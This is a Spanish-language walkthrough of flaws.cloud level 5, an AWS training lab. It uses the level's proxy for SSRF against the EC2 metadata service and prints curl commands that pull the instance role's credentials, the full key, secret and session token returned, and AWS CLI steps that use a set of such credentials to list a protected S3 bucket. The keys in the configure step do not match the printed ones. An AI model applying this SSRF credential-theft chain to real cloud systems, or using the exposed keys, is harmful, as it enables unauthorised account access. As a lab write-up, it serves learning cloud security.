Level 5
http://level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud/243f422c/
En este nivel nos dicen que el EC2 tiene un proxy que se usa así:
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/PAGE/
y que tenemos que aprovecharlo para listar los contenidos del bucket del nivel 6
http://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud/
Si intentamos listar con la técnica del nivel 1:
https://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud.s3.amazonaws.com
Nos tira Acceso denegado.
Podemos leer la metadata del EC2, a través del proxy (SSRF)
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/
curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws{
"Code" : "Success",
"LastUpdated" : "2025-10-26T20:40:43Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA6GG7PSQGVIISET5W",
"SecretAccessKey" : "uNfMgk4cH/HzReJYk6yFZGch2WeC0emR0pyic+7d",
"Token" : "IQoJb3JpZ2luX2VjEN3//////////wEaCXVzLXdlc3QtMiJIMEYCIQCY/mXGcOdEUnXhvsBoMBTvzkIjizeu94w6NPzWMNKtmAIhAMBTd2F2iRz3duBQjDhOo3sFloRbfqmd6MFj7jJDW54xKrsFCJb//////////wEQBBoMOTc1NDI2MjYyMDI5Igxty0tVXzN6bpid2fQqjwVxxL9Z8x2ZrveGy5oFEc8EI8Wbg02+22sAjaD/uO8l/NHkWB8tfK8oFW7oS3eJB+VG1/a+6tv9YGXaz4x4Q4c+TqLhZAAlmQel/d5gDCQIL/nF4OrjcAlYje3mTnNrtDWRawzTFuLvZmXiCV+DCi/30WK+i8X1f0Z0Q7nS8oa3Ca6jt0f42EbssKJQaUZcCKNyfioMGZiejmooeOm+5zzCRvY/SKPJfvA+CbV+q4Bm9Uo2WvR/SRNeQZT1ogJjuNQyE55dbVhufR0xYw46Y/GzVlKU41SAfeZGiro5AdU/29AaDcSWhndJpqxXKONB3jJ1LImaE5FwFIXyuW5FtBBm1j895jk1/Rr4DosEfexHPn9Z5dXTkPrjVnFlgIOC2rz7fdO310zlMPFPDjgUhOHVqJMZ5aE6wx+YffFeb5p++QBI7x2p/g2jTFPZsJu7RKGpcKj3KIh5KeD38O5nC60EpHrVcJ57wL5W2kD4ffFP9IqFfdZIbjMaOqPXQtj45NJWa5dgbllK4eqMa8zokSmDRaydE6RZigOAzC2uCAYxToMgTsB3O9kB/XK9ZMltopgtneGT51cLoILH5TNF7FDcz/p6PVfpXIe9yPTiyzMRZYzNLZYS5PHz0jToLOrzUUtZ8/LVuySt0ZDSQhAmuOBULn+m9Oz1f2JywLeZct7G56LMaoXHWymcMwvbdeNBXmQDRxmpfnV4EG+ciXB/CyYBOuqYZ4hL141irspZXKu0n6pkrcEWcGjexL9xiRrydJjIkWRcrDoCUP3XMYmuCyKSY0/J32O5Ps0+Ty2IMZUOjiCl4DmSzb0y0i29I9Lu+tSQi0MxntO3v7TYNSi5c9NDf3cEVzQRlqmRIPxB39RMMJqO+scGOrABUIt+sdRlDz6aEql7ciaVOMA4cXXFZDIknnXgLbQ6GocXQaQar9jTflwFexYMMpSNVDMYBrkq6978Wy3vSmXZ/OV7YOtkiFBqEkvd91eAnyUpvWFCAqRSudPUPFbvsGTt/DFNArQPJA/lp3Tu2//n2thBeFCLxpnd+6nHEUEgC0uH0BMFeq7Q+wbkO/R5C2o3/KQVbWUVoRFn36fVNiMp/SAjzpfuOOZ/W1OoyaiPXBE=",
"Expiration" : "2025-10-27T02:48:17Z"
}Se trata de credenciales temporales de Rol de IAM , para ser usadas de forma temporal por ese EC2 y autenticarse contra otros servicios de AWS
Para usarlas, nos creamos un profile con esas credenciales :
aws configure --profile ctf3
ASIA6GG7PSQGVIISET5W
xVbg1y8/hXJV9HAsBg0YCXSTxv+rl2L4uAApum15
IQoJb3JpZ2luX2VjEN3//////////wEaCXVzLXdlc3QtMiJIMEYCIQDYBSWEqQvY4s5ID0Q1TisbRbQtOEKG9D8lp7R1lL197QIhAOjGJGS/zyITVOkxyMpzYvitPRj1fj6SfN1mT7LGpTcxKs8ECJb//////////wEQBBoMOTc1NDI2MjYyMDI5IgxW7+Im1D+KxDb3+SIqowTNJ2aT3RTEh7X7RzOgcF9/WYZEyxYl3Id6ED/xFMllrIP9keDPZi2P6V4kYMz8gVysb+Dzi8iNTzLDBNG2+YjFtoni2SdNk/+i6fpQmpKqiS0XT8v5pxCua9mtd5lGLWcvuS44OzaCmJ6ri0vHW5tQWEPY/4R8zdjYLhdu5Hmu6PVrWq4Hp9nY6TIhTYMn8sBcgmEPxC9mITtq6LK4q9fodjOf11jyNZV1UG8IVVevrSZqWafABLzoLdj0G43VT1SxAnltgD6ptxC++FHfWMiovhy8xDGrnibhl8RXWIs0fazKAPlqEYEnDxNqjUKf7ej1kmY0H8Wctw19dQY0kV5dbkdCa2OqgYSHe3dN8cBurBygLOep3Dt1NnMuF/HI1bWcJlACvwNmJ2Y+l8V+23XKvLAnZCyuKx82visUPaWBO73X32DDuYNOgWiv5oQeAgZh2eCIds0AcXO2mWnAWvqMG5SmzP19i0hZwXckfY6IfHc0+KnQNjfgvlvKaJYj+nKIZx2J/SvP4XDGZYH12A4y1FPXft4Vj1CQXUxMYUerTd4ebIcGOK1uY5U4TGV0HlIDLC2iZJe3o7Q5C2bTiGxPIAHdlwWv0J3ufEeCpJ2H1vyaStDfhPLuD1ghep3tNf6dvV025eKH8m5sYmX1GkI0jkgC7qjBckBlcZVs5INuNjk/cDVkzdBP71uS1RUsrD7pCEV5vMxE8jY0CzdQLDnFTdcEMJqO+scGOpICw9DeoTBYiacDTtAcl0G6nPNx+ZxVA0GiLgj2X8OtiFnB/TJVDYBjRKmtbdB3N5udYdiw2E943GzYwoyDHMFhG8V+EHKhdjrKcy3xz10Zs5Z8Dpx1V6aMrR49pdQ2huXwyQzggKl8WY2A4boYiHD4AJirD53S2ThFn5PuPqYTBr/ArYjbVdYc1L0xYJdtWzFjqfPi3FKo3QuzTRg15uEzxqD/iaSAoPkxeJsY7ahl4swMMw/DrVMVpFFVDYqfX0gY3G59K3HY0GIAxLZTvpZcC7ptS0X06OFtJjrFMEiEkTg5LcLWTjRK+09GZpZqfl50Z+lNY6EagfVTN0hY7jpZ0a/nVLFxGDzfomC+a+BevB896g==
jsonSe trata de credenciales temporales, generadas por el servicio STS (empiezan con ASIA...)
Nos habremos autenticado como esa iam de esa ec2, como el rol que la ec2 está asumiendo:
aws sts get-caller-identity --profile ctf3{
"UserId": "975426262029:aws:ec2-instance:i-05bef8a081f307783",
"Account": "975426262029",
"Arn": "arn:aws:sts::975426262029:assumed-role/aws:ec2-instance/i-05bef8a081f307783"
}Listamos los contenidos del bucket objetivo :
aws s3 ls s3://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud/ --profile ctf3